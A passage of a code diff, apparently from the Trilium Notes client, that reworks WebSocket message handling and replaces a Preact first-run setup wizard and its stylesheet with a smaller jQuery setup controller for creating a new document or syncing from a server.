+        const originEntity = message.originEntityId ? await froca.getNote(message.originEntityId) : null;
+
+        bundleService.getAndExecuteBundle(message.currentNoteId, originEntity, message.script, message.params);
+    }
 }
 
 let entityChangeIdReachedListeners: {
@@ -175,7 +161,7 @@ function waitForEntityChangeId(desiredEntityChangeId: number) {
 
     return new Promise<void>((res, rej) => {
         entityChangeIdReachedListeners.push({
-            desiredEntityChangeId,
+            desiredEntityChangeId: desiredEntityChangeId,
             resolvePromise: res,
             start: Date.now()
         });
@@ -242,21 +228,16 @@ function connectWebSocket() {
     // use wss for secure messaging
     const ws = new WebSocket(webSocketUri);
     ws.onopen = () => console.debug(utils.now(), `Connected to server ${webSocketUri} with WebSocket`);
-    ws.onmessage = handleWebSocketMessage;
+    ws.onmessage = handleMessage;
     // we're not handling ws.onclose here because reconnection is done in sendPing()
 
     return ws;
 }
 
 async function sendPing() {
-    if (!ws) {
-        // In standalone mode, there's no WebSocket — nothing to ping.
-        return;
-    }
-
     if (Date.now() - lastPingTs > 30000) {
         console.warn(utils.now(), "Lost websocket connection to the backend");
-        toastService.showPersistent({
+        toast.showPersistent({
             id: "lost-websocket-connection",
             title: t("ws.lost-websocket-connection-title"),
             message: t("ws.lost-websocket-connection-message"),
@@ -265,7 +246,7 @@ async function sendPing() {
     }
 
     if (ws.readyState === ws.OPEN) {
-        toastService.closePersistent("lost-websocket-connection");
+        toast.closePersistent("lost-websocket-connection");
         ws.send(
             JSON.stringify({
                 type: "ping",
@@ -281,18 +262,7 @@ async function sendPing() {
 
 setTimeout(() => {
     if (glob.device === "print") return;
-    if (!glob.dbInitialized) return;
 
-    if (glob.isStandalone) {
-        // In standalone mode, listen for messages from the local worker via custom event
-        window.addEventListener("trilium:ws-message", ((event: CustomEvent<WebSocketMessage>) => {
-            dispatchMessage(event.detail);
-        }) as EventListener);
-        console.debug(utils.now(), "Standalone mode: listening for worker messages");
-        return;
-    }
-
-    // Normal mode: use WebSocket
     ws = connectWebSocket();
 
     lastPingTs = Date.now();

apps/client/src/setup.css

@@ -1,420 +0,0 @@
-html,
-body {
-    margin: 0;
-    padding: 0;
-    width: 100vw;
-    height: 100vh;
-}
-
-body.setup {
-    margin: 0;
-    padding: 0;
-
-    &>.setup-outer-wrapper {
-        width: 100dvw;
-        height: 100dvh;
-
-        body:not(.electron) & {
-            @media (min-width: 700px) {
-                background:
-                    radial-gradient(ellipse at 20% 50%, rgba(99, 102, 241, 0.3) 0%, transparent 50%),
-                    radial-gradient(ellipse at 80% 20%, rgba(168, 85, 247, 0.25) 0%, transparent 50%),
-                    radial-gradient(ellipse at 60% 80%, rgba(59, 130, 246, 0.25) 0%, transparent 50%),
-                    var(--left-pane-background-color);
-                display: flex;
-                justify-content: center;
-                align-items: center;
-                padding: 2em;
-            }
-        }
-
-        .setup-container {
-            background-color: var(--main-background-color);
-            border-radius: 16px;
-            padding: 2em;
-            flex-direction: column;
-            gap: 2rem;
-            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
-            position: relative;
-            height: 100%;
-
-            @media (min-width: 700px) {
-                display: flex;
-                width: 750px;
-                height: 650px;
-                top: unset;
-                overflow: hidden;
-            }
-
-            .setup-options {
-                display: flex;
-                flex-direction: column;
-                justify-content: center;
-                gap: 1rem;
-
-                .setup-option-card {
-                    padding: 1.5em;
-                    cursor: pointer;
-                    display: flex;
-                    align-items: center;
-                    gap: 1rem;
-
-                    &.disabled {
-                        cursor: not-allowed;
-                        opacity: 0.5;
-                        background-color: transparent;
-                        border-color: var(--main-border-color)
-                    }
-
-                    &:not(.disabled):hover {
-                        background-color: var(--card-background-hover-color);
-                        filter: contrast(105%);
-                        transition: background-color .2s ease-out;
-                    }
-
-                    .tn-icon {
-                        font-size: 2.5em;
-                        color: var(--muted-text-color);
-                    }
-
-                    h3 {
-                        font-size: 1.5em;
-                        font-weight: normal;
-                    }
-
-                    p:last-of-type {
-                        margin-bottom: 0;
-                        color: var(--muted-text-color);
-                    }
-                }
-            }
-        }
-
-        .page {
-            display: flex;
-            flex-direction: column;
-            height: 100%;
-            padding: 2em;
-            overflow: auto;
-
-            >.back-button {
-                position: absolute;
-                top: 2em;
-                left: 2em;
-                color: var(--muted-text-color);
-
-                .tn-icon {
-                    margin-right: 0.4em;
-                }
-            }
-
-            >main {
-                flex: 1;
-                display: flex;
-                flex-direction: column;
-                padding-top: 1em;
-                min-height: 0;
-            }
-
-            &.contentless {
-                justify-content: center;
-                align-items: center;
-            }
-
-            >footer {
-                display: flex;
-                justify-content: flex-end;
-                gap: 0.5rem;
-                border-top: 1px solid var(--main-border-color);
-                padding-top: 1rem;
-                margin-inline: -2em;
-                padding-inline: 2em;
-            }
-
-            >.page-error {
-                position: absolute;
-                top: 0;
-                left: 0;
-                right: 0;
-                background: var(--admonition-caution-accent-color);
-                z-index: 1;
-                margin: 0;
-                border-radius: 0;
-                box-shadow: 0 4px 16px rgba(0, 0, 0, 0.1);
-                padding-right: 2.5em;
-
-                button {
-                    position: absolute;
-                    top: 0.5em;
-                    right: 0.5em;
-                }
-            }
-        }
-
-        form {
-            display: flex;
-            flex-direction: column;
-            gap: 1rem;
-            width: 80%;
-            margin-inline: auto;
-
-            .form-group {
-                margin-bottom: 0;
-            }
-
-            .admonition {
-                margin: 0;
-            }
-        }
-
-        .form-item-with-icon {
-            display: flex;
-            align-items: center;
-            gap: 0.5rem;
-
-            .tn-icon {
-                font-size: 1.5em;
-                color: var(--muted-text-color);
-            }
-        }
-    }
-
-    .sync-illustration {
-        display: flex;
-        justify-content: center;
-        margin-top: 1.5em;
-        margin-bottom: 1.5rem;
-
-        .tn-icon {
-            font-size: 3em;
-            color: var(--muted-text-color);
-        }
-
-        >div {
-            display: flex;
-            flex-direction: column;
-            text-align: center;
-            gap: 0.5rem;
-            line-height: 1;
-            font-size: 0.85rem;
-        }
-
-        .sync-illustration-arrows {
-            width: 60px;
-            height: 3em;
-            position: relative;
-
-            &::after {
-                content: "";
-                position: absolute;
-                border: 2px dashed var(--main-border-color);
-                top: 1.5em;
-                left: 0;
-                right: 0;
-            }
-        }
-    }
-
-    .illustration-icon {
-        font-size: 4em;
-        text-align: center;
-        color: var(--muted-text-color);
-        opacity: 0.6;
-        margin-block: 1rem;
-    }
-
-    .illustration-logo {
-        width: 96px;
-        height: 96px;
-        margin: auto;
-    }
-
-    h1 {
-        font-size: 1.4em;
-        text-align: center;
-    }
-
-    h1 + p {
-        text-align: center;
-        color: var(--muted-text-color);
-        margin-bottom: 0;
-    }
-
-    .tooltip {
-        z-index: 15 !important;
-    }
-}
-
-body.setup.background-effects,
-body.setup.background-effects .setup-container {
-    background: transparent;
-}
-
-/* macOS: draggable title bar region and traffic light buttons */
-body.setup.platform-darwin {
-    .drag-region {
-        position: absolute;
-        top: 0;
-        left: 0;
-        right: 0;
-        height: 40px;
-        -webkit-app-region: drag;
-        z-index: 10;
-    }
-
-    .back-button {
-        -webkit-app-region: no-drag;
-        z-index: 11;
-    }
-}
-
-@keyframes lds-ring {
-    0% {
-        transform: rotate(0deg);
-    }
-    100% {
-        transform: rotate(360deg);
-    }
-}
-
-/* Slide transitions */
-.slide-page {
-    position: absolute;
-    inset: 0;
-}
-
-.slide-out-forward,
-.slide-out-backward,
-.slide-in-forward,
-.slide-in-backward {
-    animation-duration: 0.35s;
-    animation-timing-function: ease-in-out;
-    animation-fill-mode: forwards;
-}
-
-.slide-out-forward {
-    animation-name: slide-out-left;
-}
-
-.slide-out-backward {
-    animation-name: slide-out-right;
-}
-
-.slide-in-forward {
-    animation-name: slide-in-right;
-}
-
-.slide-in-backward {
-    animation-name: slide-in-left;
-}
-
-.page.select-language {
-    .dropdownWrapper {
-        padding-bottom: 2em;
-        width: 80%;
-        margin: auto;
-    }
-
-    .dropdownWrapper,
-    .dropdown,
-    .dropdown-menu {
-        height: 100%;
-    }
-
-    .dropdown-menu {
-        box-sizing: border-box;
-        overflow: auto;
-    }
-}
-
-.page.sync-from-desktop {
-    .card-columns {
-        display: flex;
-        flex-direction: row;
-        gap: 1.5rem;
-    }
-
-    .sync-from-desktop-waiting {
-        margin-top: 2rem;
-        text-align: center;
-
-        .main {
-            font-size: 1.35em;
-        }
-
-        .subtle {
-            color: var(--muted-text-color);
-        }
-    }
-
-    .ip-addresses {
-        min-width: 250px;
-        user-select: text;
-        display: flex;
-        flex-direction: column;
-        font-family: var(--monospace-font-family);
-        font-size: 0.9em;
-
-        .tn-card-body {
-            overflow: auto;
-            padding-bottom: 0.5em;
-
-            > :first-child {
-                font-weight: bold;
-            }
-        }
-    }
-}
-
-.page.sync-in-progress {
-    .sync-progress {
-        margin-top: 0.5rem;
-        display: flex;
-        align-items: center;
-        gap: 0.5rem;
-
-        progress {
-            width: 100%;
-            height: 1rem;
-            border-radius: 0.5rem;
-            overflow: hidden;
-            appearance: none;
-
-            &::-webkit-progress-bar {
-                background-color: var(--main-border-color);
-            }
-
-            &::-webkit-progress-value {
-                background-color: var(--main-text-color);
-                transition: width 0.2s ease-out;
-            }
-        }
-
-        span {
-            font-size: 0.85rem;
-            color: var(--muted-text-color);
-            min-width: 2.5em;
-            text-align: right;
-        }
-    }
-}
-
-@keyframes slide-out-left {
-    from { transform: translateX(0); opacity: 1; }
-    to   { transform: translateX(-100%); opacity: 0; }
-}
-
-@keyframes slide-out-right {
-    from { transform: translateX(0); opacity: 1; }
-    to   { transform: translateX(100%); opacity: 0; }
-}
-
-@keyframes slide-in-right {
-    from { transform: translateX(100%); opacity: 0; }
-    to   { transform: translateX(0); opacity: 1; }
-}
-
-@keyframes slide-in-left {
-    from { transform: translateX(-100%); opacity: 0; }
-    to   { transform: translateX(0); opacity: 1; }
-}

apps/client/src/setup.ts

@@ -0,0 +1,204 @@
+import "jquery";
+
+import utils from "./services/utils.js";
+
+type SetupStep = "sync-in-progress" | "setup-type" | "new-document-in-progress" | "sync-from-desktop" | "sync-from-server";
+type SetupType = "new-document" | "sync-from-desktop" | "sync-from-server" | "";
+
+class SetupController {
+    private step: SetupStep;
+    private setupType: SetupType = "";
+    private syncPollIntervalId: number | null = null;
+    private rootNode: HTMLElement;
+    private setupTypeForm: HTMLFormElement;
+    private syncFromServerForm: HTMLFormElement;
+    private setupTypeNextButton: HTMLButtonElement;
+    private setupTypeInputs: HTMLInputElement[];
+    private syncServerHostInput: HTMLInputElement;
+    private syncProxyInput: HTMLInputElement;
+    private passwordInput: HTMLInputElement;
+    private sections: Record<SetupStep, HTMLElement>;
+
+    constructor(rootNode: HTMLElement, syncInProgress: boolean) {
+        this.rootNode = rootNode;
+        this.step = syncInProgress ? "sync-in-progress" : "setup-type";
+        this.setupTypeForm = mustGetElement("setup-type-form", HTMLFormElement);
+        this.syncFromServerForm = mustGetElement("sync-from-server-form", HTMLFormElement);
+        this.setupTypeNextButton = mustGetElement("setup-type-next", HTMLButtonElement);
+        this.setupTypeInputs = Array.from(document.querySelectorAll<HTMLInputElement>("input[name='setup-type']"));
+        this.syncServerHostInput = mustGetElement("sync-server-host", HTMLInputElement);
+        this.syncProxyInput = mustGetElement("sync-proxy", HTMLInputElement);
+        this.passwordInput = mustGetElement("password", HTMLInputElement);
+        this.sections = {
+            "setup-type": mustGetElement("setup-type-section", HTMLElement),
+            "new-document-in-progress": mustGetElement("new-document-in-progress-section", HTMLElement),
+            "sync-from-desktop": mustGetElement("sync-from-desktop-section", HTMLElement),
+            "sync-from-server": mustGetElement("sync-from-server-section", HTMLElement),
+            "sync-in-progress": mustGetElement("sync-in-progress-section", HTMLElement)
+        };
+    }
+
+    init() {
+        this.setupTypeForm.addEventListener("submit", (event) => {
+            event.preventDefault();
+            void this.selectSetupType();
+        });
+
+        this.syncFromServerForm.addEventListener("submit", (event) => {
+            event.preventDefault();
+            void this.finish();
+        });
+
+        for (const input of this.setupTypeInputs) {
+            input.addEventListener("change", () => {
+                this.setupType = input.value as SetupType;
+                this.render();
+            });
+        }
+
+        for (const backButton of document.querySelectorAll<HTMLElement>("[data-action='back']")) {
+            backButton.addEventListener("click", () => {
+                this.back();
+            });
+        }
+
+        const serverAddress = `${location.protocol}//${location.host}`;
+        $("#current-host").html(serverAddress);
+
+        if (this.step === "sync-in-progress") {
+            this.startSyncPolling();
+        }
+
+        this.render();
+        this.rootNode.style.display = "";
+    }
+
+    private async selectSetupType() {
+        if (this.setupType === "new-document") {
+            this.setStep("new-document-in-progress");
+
+            await $.post("api/setup/new-document");
+            window.location.replace("./setup");
+            return;
+        }
+
+        if (this.setupType) {
+            this.setStep(this.setupType);
+        }
+    }
+
+    private back() {
+        this.setStep("setup-type");
+        this.setupType = "";
+
+        for (const input of this.setupTypeInputs) {
+            input.checked = false;
+        }
+
+        this.render();
+    }
+
+    private async finish() {
+        const syncServerHost = this.syncServerHostInput.value.trim();
+        const syncProxy = this.syncProxyInput.value.trim();
+        const password = this.passwordInput.value;
+
+        if (!syncServerHost) {
+            showAlert("Trilium server address can't be empty");
+            return;
+        }
+
+        if (!password) {
+            showAlert("Password can't be empty");
+            return;
+        }
+
+        // not using server.js because it loads too many dependencies
+        const resp = await $.post("api/setup/sync-from-server", {
+            syncServerHost,
+            syncProxy,
+            password
+        });
+
+        if (resp.result === "success") {
+            hideAlert();
+            this.setStep("sync-in-progress");
+            this.startSyncPolling();
+        } else {
+            showAlert(`Sync setup failed: ${resp.error}`);
+        }
+    }
+
+    private setStep(step: SetupStep) {
+        this.step = step;
+        this.render();
+    }
+
+    private render() {
+        for (const [step, section] of Object.entries(this.sections) as [SetupStep, HTMLElement][]) {
+            section.style.display = step === this.step ? "" : "none";
+        }
+
+        this.setupTypeNextButton.disabled = !this.setupType;
+    }
+
+    private getSelectedSetupType(): SetupType {
+        return (this.setupTypeInputs.find((input) => input.checked)?.value ?? "") as SetupType;
+    }
+
+    private startSyncPolling() {
+        if (this.syncPollIntervalId !== null) {
+            return;
+        }
+
+        this.syncPollIntervalId = window.setInterval(checkOutstandingSyncs, 1000);
+    }
+}
+
+async function checkOutstandingSyncs() {
+    const { outstandingPullCount, initialized } = await $.get("api/sync/stats");
+
+    if (initialized) {
+        if (utils.isElectron()) {
+            const remote = utils.dynamicRequire("@electron/remote");
+            remote.app.relaunch();
+            remote.app.exit(0);
+        } else {
+            utils.reloadFrontendApp();
+        }
+    } else {
+        $("#outstanding-syncs").html(outstandingPullCount);
+    }
+}
+
+function showAlert(message: string) {
+    $("#alert").text(message);
+    $("#alert").show();
+}
+
+function hideAlert() {
+    $("#alert").hide();
+}
+
+function getSyncInProgress() {
+    const el = document.getElementById("syncInProgress");
+    if (!el || !(el instanceof HTMLMetaElement)) return false;
+    return !!parseInt(el.content);
+}
+
+function mustGetElement<T extends typeof HTMLElement>(id: string, ctor: T): InstanceType<T> {
+    const element = document.getElementById(id);
+
+    if (!element || !(element instanceof ctor)) {
+        throw new Error(`Expected element #${id}`);
+    }
+
+    return element as InstanceType<T>;
+}
+
+addEventListener("DOMContentLoaded", (event) => {
+    const rootNode = document.getElementById("setup-dialog");
+    if (!rootNode || !(rootNode instanceof HTMLElement)) return;
+
+    new SetupController(rootNode, getSyncInProgress()).init();
+});

apps/client/src/setup.tsx

@@ -1,524 +0,0 @@
-import "./setup.css";
-
-import { LOCALES, SetupSyncFromServerResponse } from "@triliumnext/commons";
-import clsx from "clsx";
-import { ComponentChildren, render } from "preact";
-import { useEffect, useMemo, useRef, useState } from "preact/hooks";
-import { useTranslation } from "react-i18next";
-
-import logo from "./assets/icon-color.svg?url";
-import { initLocale, t } from "./services/i18n";
-import server from "./services/server";
-import { isElectron, replaceHtmlEscapedSlashes } from "./services/utils";
-import ActionButton from "./widgets/react/ActionButton";
-import Admonition from "./widgets/react/Admonition";
-import Button from "./widgets/react/Button";
-import { Card, CardFrame, CardSection } from "./widgets/react/Card";
-import FormGroup from "./widgets/react/FormGroup";
-import FormList, { FormListItem } from "./widgets/react/FormList";
-import FormTextBox from "./widgets/react/FormTextBox";
-import Icon from "./widgets/react/Icon";
-
-async function main() {
-    await initLocale();
-
-    const bodyWrapper = document.createElement("div");
-    bodyWrapper.classList.add("setup-outer-wrapper");
-    document.body.classList.add("setup");
-    if (isElectron()) {
-        document.body.classList.add("electron", `platform-${window.process.platform}`, "background-effects");
-    }
-    render(<App />, bodyWrapper);
-    document.body.replaceChildren(bodyWrapper);
-}
-
-type State = "selectLanguage" | "firstOptions" | "createNewDocumentOptions" | "createNewDocumentWithDemo" | "createNewDocumentEmpty" | "syncFromDesktop" | "syncFromServer" | "syncFromServerInProgress" | "syncFromDesktopInProgress" | "syncFailed";
-
-const STATE_ORDER: State[] = ["selectLanguage", "firstOptions", "createNewDocumentOptions", "createNewDocumentWithDemo", "createNewDocumentEmpty", "syncFromDesktop", "syncFromServer", "syncFromServerInProgress", "syncFromDesktopInProgress", "syncFailed"];
-
-function renderState(state: State, setState: (state: State) => void) {
-    switch (state) {
-        case "selectLanguage": return <SelectLanguage setState={setState} />;
-        case "firstOptions": return <SetupOptions setState={setState} />;
-        case "createNewDocumentOptions": return <CreateNewDocumentOptions setState={setState} />;
-        case "createNewDocumentWithDemo": return <CreateNewDocumentInProgress withDemo />;
-        case "createNewDocumentEmpty": return <CreateNewDocumentInProgress />;
-        case "syncFromServer": return <SyncFromServer setState={setState} />;
-        case "syncFromDesktop": return <SyncFromDesktop setState={setState} />;
-        case "syncFromServerInProgress": return <SyncInProgress device="server" />;
-        case "syncFromDesktopInProgress": return <SyncInProgress device="desktop" />;
-        default: return null;
-    }
-}
-
-function App() {
-    const [state, setState] = useState<State>("selectLanguage");
-    const [prevState, setPrevState] = useState<State | null>(null);
-    const [transitioning, setTransitioning] = useState(false);
-    const prevStateRef = useRef<State>(state);
-
-    function handleSetState(newState: State) {
-        setPrevState(prevStateRef.current);
-        prevStateRef.current = newState;
-        setTransitioning(true);
-        setState(newState);
-    }
-
-    const direction = prevState !== null
-        ? STATE_ORDER.indexOf(state) > STATE_ORDER.indexOf(prevState) ? "forward" : "backward"
-        : "forward";
-
-    return (
-        <div class="setup-container">
-            <div class="drag-region" />
-            {transitioning && prevState !== null && (
-                <div
-                    class={`slide-page slide-out-${direction}`}
-                    onAnimationEnd={() => {
-                        setTransitioning(false);
-                        setPrevState(null);
-                    }}
-                >
-                    {renderState(prevState, handleSetState)}
-                </div>
-            )}
-            <div class={`slide-page ${transitioning ? `slide-in-${direction}` : "slide-current"}`} key={state}>
-                {renderState(state, handleSetState)}
-            </div>
-        </div>
-    );
-}
-
-function SelectLanguage({ setState }: { setState: (state: State) => void }) {
-    const { t, i18n } = useTranslation();
-    const [ currentLocale, setCurrentLocale ] = useState(i18n.language);
-    const filteredLocales = useMemo(() => LOCALES.filter(l => !l.contentOnly), []);
-
-    return (
-        <SetupPage
-            title={t("setup.language")}
-            className="select-language"
-            illustration={<Icon icon="bx bx-globe" className="illustration-icon" />}
-            footer={<Button text={t("setup.continue")} kind="primary" onClick={() => setState("firstOptions")} />}
-        >
-            <FormList onSelect={async (id) => {
-                await i18n.changeLanguage(id);
-                setCurrentLocale(id);
-            }}>
-                {filteredLocales.map(locale => (
-                    <FormListItem key={locale.id} value={locale.id} active={locale.id === currentLocale}>{locale.name}</FormListItem>
-                ))}
-            </FormList>
-        </SetupPage>
-    );
-}
-
-function SetupOptions({ setState }: { setState: (state: State) => void }) {
-    return (
-        <SetupPage
-            title={t("setup.heading")}
-            className="setup-options-container"
-            illustration={<img src={logo} alt="Setup illustration" className="illustration-logo" />}
-            onBack={() => setState("selectLanguage")}
-        >
-            <div class="setup-options">
-                <SetupOptionCard
-                    icon="bx bx-file-blank"
-                    title={t("setup.new-document")}
-                    description={t("setup.new-document-description")}
-                    onClick={() => setState("createNewDocumentOptions")}
-                />
-
-                <SetupOptionCard
-                    icon="bx bx-server"
-                    title={t("setup.sync-from-server")}
-                    description={t("setup.sync-from-server-description")}
-                    onClick={() => setState("syncFromServer")}
-                />
-
-                <SetupOptionCard
-                    icon="bx bx-desktop"
-                    title={t("setup.sync-from-desktop")}
-                    description={t("setup.sync-from-desktop-description")}
-                    disabled={glob.isStandalone}
-                    onClick={() => setState("syncFromDesktop")}
-                />
-            </div>
-        </SetupPage>
-    );
-}
-
-type SyncStep = "connecting" | "syncing" | "finalizing";
-
-function getSyncStep(stats: { outstandingPullCount: number; totalPullCount: number | null; initialized: boolean }): SyncStep {
-    if (stats.initialized) {
-        return "finalizing"; // will reload momentarily
-    }
-    if (stats.totalPullCount !== null && stats.outstandingPullCount > 0) {
-        return "syncing";
-    }
-    if (stats.totalPullCount !== null && stats.outstandingPullCount === 0) {
-        return "finalizing";
-    }
-    return "connecting";
-}
-
-function SyncInProgress({ device }: { device: "server" | "desktop" }) {
-    const stats = useOutstandingSyncInfo();
-    const step = getSyncStep(stats);
-
-    useEffect(() => {
-        if (stats.initialized) {
-            onSetupFinished();
-        }
-    }, [stats.initialized]);
-
-    const steps: { key: SyncStep; label: string }[] = [
-        { key: "connecting", label: t("setup.sync-step-connecting") },
-        { key: "syncing", label: t("setup.sync-step-syncing") },
-        { key: "finalizing", label: t("setup.sync-step-finalizing") }
-    ];
-
-    const currentIndex = steps.findIndex((s) => s.key === step);
-
-    const syncingDone = currentIndex > steps.findIndex((s) => s.key === "syncing");
-    let progress = 0;
-    if (syncingDone) {
-        progress = 100;
-    } else if (stats.totalPullCount) {
-        progress = Math.round(((stats.totalPullCount - stats.outstandingPullCount) / stats.totalPullCount) * 100);
-    }
-
-    return (
-        <SetupPage
-            className="sync-in-progress"
-            illustration={<SyncIllustration targetDevice={device} />}
-            title={t("setup.sync-in-progress-title")}
-        >
-            <Card className="sync-steps">
-                {steps.map((s, i) => (
-                    <CardSection className={i < currentIndex ? "completed" : i === currentIndex ? "active" : ""} key={s.key}>
-                        <Icon icon={i < currentIndex ? "bx bx-check-circle" : i === currentIndex ? "bx bx-loader-circle bx-spin" : "bx bx-circle"} />{" "}
-                        {s.label}
-                        {s.key === "syncing" && (
-                            <div class="sync-progress">
-                                <progress value={syncingDone ? 1 : stats.totalPullCount! - stats.outstandingPullCount} max={syncingDone ? 1 : stats.totalPullCount!} />
-                                <span>{progress}%</span>
-                            </div>
-                        )}
-                    </CardSection>
-                ))}
-            </Card>
-        </SetupPage>
-    );
-}
-
-function useOutstandingSyncInfo() {
-    const [ outstandingPullCount, setOutstandingPullCount ] = useState(0);
-    const [ totalPullCount, setTotalPullCount ] = useState<number | null>(null);
-    const [ initialized, setInitialized ] = useState(false);
-
-    async function refresh() {
-        const resp = await server.get<{ outstandingPullCount: number; totalPullCount: number | null; initialized: boolean }>("sync/stats");
-        setOutstandingPullCount(resp.outstandingPullCount);
-        setTotalPullCount(resp.totalPullCount);
-        setInitialized(resp.initialized);
-    }
-
-    useEffect(() => {
-        const interval = setInterval(refresh, 1000);
-        refresh();
-
-        return () => clearInterval(interval);
-    }, []);
-    return { outstandingPullCount, totalPullCount, initialized };
-}
-
-function CreateNewDocumentOptions({ setState }: { setState: (state: State) => void }) {
-    return (
-        <SetupPage
-            className="create-new-document-options"
-            title={t("setup.create-new-document-options-title")}
-            illustration={<Icon icon="bx bx-star" className="illustration-icon" />}
-            onBack={() => setState("firstOptions")}
-        >
-            <div class="setup-options">
-                <SetupOptionCard icon="bx bx-book-open" title={t("setup.create-new-document-options-with-demo")} description={t("setup.create-new-document-options-with-demo-description")} onClick={() => setState("createNewDocumentWithDemo")} />
-                <SetupOptionCard icon="bx bx-file-blank" title={t("setup.create-new-document-options-empty")} description={t("setup.create-new-document-options-empty-description")} onClick={() => setState("createNewDocumentEmpty")} />
-            </div>
-        </SetupPage>
-    );
-}
-
-function CreateNewDocumentInProgress({ withDemo = false }: { withDemo?: boolean }) {
-    useEffect(() => {
-        server.post(`setup/new-document${withDemo ? "" : "?skipDemoDb"}`).then(onSetupFinished);
-    }, [ withDemo ]);
-
-    return (
-        <SetupPage
-            className="create-new-document"
-            title={t("setup.create-new-document-title")}
-            description={t("setup.create-new-document-description")}
-            illustration={<Icon icon="bx bx-loader-circle bx-spin" className="illustration-icon" />}
-        />
-    );
-}
-
-function SyncFromServer({ setState }: { setState: (state: State) => void }) {
-    const [ syncServerHost, setSyncServerHost ] = useState("");
-    const [ password, setPassword ] = useState("");
-    const [ syncProxy, setSyncProxy ] = useState("");
-    const [ error, setError ] = useState<string | null>(null);
-    const [ errorId, setErrorId ] = useState(0);
-    const [ isWrongPassword, setIsWrongPassword ] = useState(false);
-    const isValid = syncServerHost.trim() !== "" && password !== "";
-
-    function raiseError(message: string) {
-        setError(message);
-        setErrorId(id => id + 1);
-    }
-
-    async function handleFinishSetup() {
-        try {
-            const resp = await server.post<SetupSyncFromServerResponse>("setup/sync-from-server", {
-                syncServerHost: syncServerHost.trim(),
-                syncProxy: syncProxy.trim(),
-                password
-            });
-
-            if (resp.result === "success") {
-                setState("syncFromServerInProgress");
-            } else if (resp.error.includes("Incorrect password")) {
-                setIsWrongPassword(true);
-            } else {
-                raiseError(t("setup.sync-failed", { message: resp.error }));
-            }
-        } catch (e) {
-            raiseError(e instanceof Error ? e.message : String(e));
-        }
-    }
-
-    return (
-        <SetupPage
-            className="sync-from-server top-aligned"
-            title={t("setup.sync-from-server")}
-            description={t("setup.sync-from-server-page-description")}
-            illustration={<SyncIllustration targetDevice="server" />}
-            error={error}
-            errorId={errorId}
-            onBack={() => setState("firstOptions")}
-            footer={<Button text={t("setup.button-finish-setup")} kind="primary" onClick={handleFinishSetup} disabled={!isValid} />}
-        >
-            <form>
-                <Card>
-                    <CardSection>
-                        <FormGroup label={t("setup.server-host")} name="serverHost">
-                            <FormTextBox
-                                placeholder={t("setup.server-host-placeholder")}
-                                currentValue={syncServerHost} onChange={setSyncServerHost}
-                                autocomplete="trilium-sync-server-host"
-                                required
-                            />
-                        </FormGroup>
-                    </CardSection>
-
-                    <CardSection>
-                        <FormGroup
-                            label={t("setup.server-password")} name="serverPassword"
-                            error={isWrongPassword ? t("setup.wrong-password") : undefined}
-                        >
-                            <FormTextBox
-                                type="password"
-                                currentValue={password} onChange={setPassword}
-                                autocomplete="trilium-sync-server-password"
-                                required
-                            />
-                        </FormGroup>
-                    </CardSection>
-                </Card>
-
-                <Card heading={t("setup.advanced-options")}>
-                    <CardSection>
-                        <FormGroup
-                            name="proxyServer"
-                            label={t("setup.proxy-server")}
-                            description={isElectron() ? t("setup.proxy-instruction") : undefined}
-                        >
-                            <FormTextBox placeholder={t("setup.proxy-server-placeholder")} currentValue={syncProxy} onChange={setSyncProxy} />
-                        </FormGroup>
-                    </CardSection>
-                </Card>
-            </form>
-        </SetupPage>
-    );
-}
-
-function SyncFromDesktop({ setState }: { setState: (state: State) => void }) {
-    const networkAddresses = getNetworkAddresses();
-
-    useEffect(() => {
-        const interval = setInterval(async () => {
-            const status = await server.get<{ schemaExists: boolean }>("setup/status");
-            if (status.schemaExists) {
-                setState("syncFromDesktopInProgress");
-            }
-        }, 1000);
-        return () => clearInterval(interval);
-    }, [setState]);
-
-    return (
-        <SetupPage
-            className="sync-from-desktop"
-            title={t("setup.sync-from-desktop")}
-            illustration={<SyncIllustration targetDevice="desktop" />}
-            onBack={() => setState("firstOptions")}
-        >
-            <div class="card-columns">
-                <Card heading="On the other device">
-                    <CardSection>1. {t("setup.sync-from-desktop-step1")}</CardSection>
-                    <CardSection>2. {t("setup.sync-from-desktop-step2")}</CardSection>
-                    <CardSection>3. {t("setup.sync-from-desktop-step3")}</CardSection>
-                    <CardSection>4. {t("setup.sync-from-desktop-step4")}</CardSection>
-                    <CardSection>5. {t("setup.sync-from-desktop-step5")}</CardSection>
-                </Card>
-
-                {networkAddresses.length > 0 && (
-                    <Card heading={t("setup.your-ip-addresses")} className="ip-addresses">
-                        {networkAddresses.map((addr) => (
-                            <CardSection key={addr}>{addr}</CardSection>
-                        ))}
-                    </Card>
-                )}
-            </div>
-
-            <div class="sync-from-desktop-waiting">
-                <div class="main"><Icon icon="bx bx-loader-circle bx-spin" />{" "} {t("setup.sync-from-desktop-waiting")}</div>
-                <div class="subtle">{t("setup.sync-from-desktop-warning")}</div>
-            </div>
-        </SetupPage>
-    );
-}
-
-function SyncIllustration({ targetDevice }: { targetDevice: "desktop" | "server" }) {
-    return (
-        <div class="sync-illustration">
-            <div>
-                <Icon icon={isElectron() ? "bx bx-desktop" : "bx bx-globe"} />
-                {t("setup.sync-illustration-this-device")}
-            </div>
-            <div class="sync-illustration-arrows" />
-            <div>
-                <Icon icon={targetDevice === "desktop" ? "bx bx-desktop" : "bx bx-server"} />
-                {targetDevice === "desktop" ? t("setup.sync-illustration-desktop-app") : t("setup.sync-illustration-server")}
-            </div>
-        </div>
-    );
-}
-
-function SetupOptionCard({ title, description, icon, onClick, disabled }: { title: string; description: string, icon: string, onClick?: () => void, disabled?: boolean }) {
-    return (
-        <CardFrame
-            className={clsx("setup-option-card", { disabled })}
-            onClick={disabled ? undefined : onClick}
-        >
-            <Icon icon={icon} />
-
-            <div>
-                <h3>{title}</h3>
-                <p>{description}</p>
-            </div>
-        </CardFrame>
-    );
-}
-
-function SetupPage({ title, description, className, illustration, children, footer, error, errorId, onBack }: {
-    title: string;
-    description?: string;
-    error?: string | null;
-    errorId?: number;
-    className?: string;
-    illustration?: ComponentChildren;
-    children?: ComponentChildren;
-    footer?: ComponentChildren;
-    onBack?: () => void;
-}) {
-    const [ showError, setShowError ] = useState(!!error);
-    useEffect(() => {
-        if (error) {
-            setShowError(true);
-        }
-    }, [ error, errorId ]);
-
-    return (
-        <div className={clsx("page", className, { "contentless": !children })}>
-            {onBack && (
-                <Button
-                    className="back-button"
-                    icon="bx bx-arrow-back"
-                    text={t("setup.button-back")}
-                    onClick={onBack}
-                    kind="lowProfile"
-                />
-            )}
-            {error && showError && (
-                <Admonition className="page-error" type="caution">
